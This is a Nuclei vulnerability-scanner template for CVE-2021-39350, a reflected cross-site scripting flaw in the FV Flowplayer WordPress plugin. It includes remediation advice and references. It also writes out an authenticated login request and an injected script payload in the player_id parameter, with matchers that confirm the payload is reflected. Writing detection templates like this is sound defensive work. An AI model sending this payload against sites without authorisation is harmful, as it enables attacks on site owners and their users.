nuclei-templates/http/cves/2021/CVE-2021-39350.yaml

id: CVE-2021-39350

info:
  name: FV Flowplayer Video Player WordPress plugin  - Authenticated Cross-Site Scripting
  author: gy741
  severity: medium
  description: The FV Flowplayer Video Player WordPress plugin is vulnerable to Reflected Cross-Site Scripting via the player_id parameter found in the ~/view/stats.php file which allows attackers to inject arbitrary web scripts in versions 7.5.0.727 - 7.5.2.727.
  remediation: |
    Update to the latest version of the FV Flowplayer Video Player WordPress plugin to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/e9adc166-be7f-4066-a2c1-7926c6304fc9
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39350
    - https://plugins.trac.wordpress.org/changeset/2580834/fv-wordpress-flowplayer/trunk/view/stats.php
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39350
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-39350
    cwe-id: CWE-79
    epss-score: 0.00104
    epss-percentile: 0.42442
    cpe: cpe:2.3:a:foliovision:fv_flowplayer_video_player:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: foliovision
    product: fv_flowplayer_video_player
    framework: wordpress
  tags: wpscan,cve,cve2021,wordpress,xss,wp,wp-plugin,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=fv_player_stats&player_id=1</script><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "<h1>FV Player Stats</h1>"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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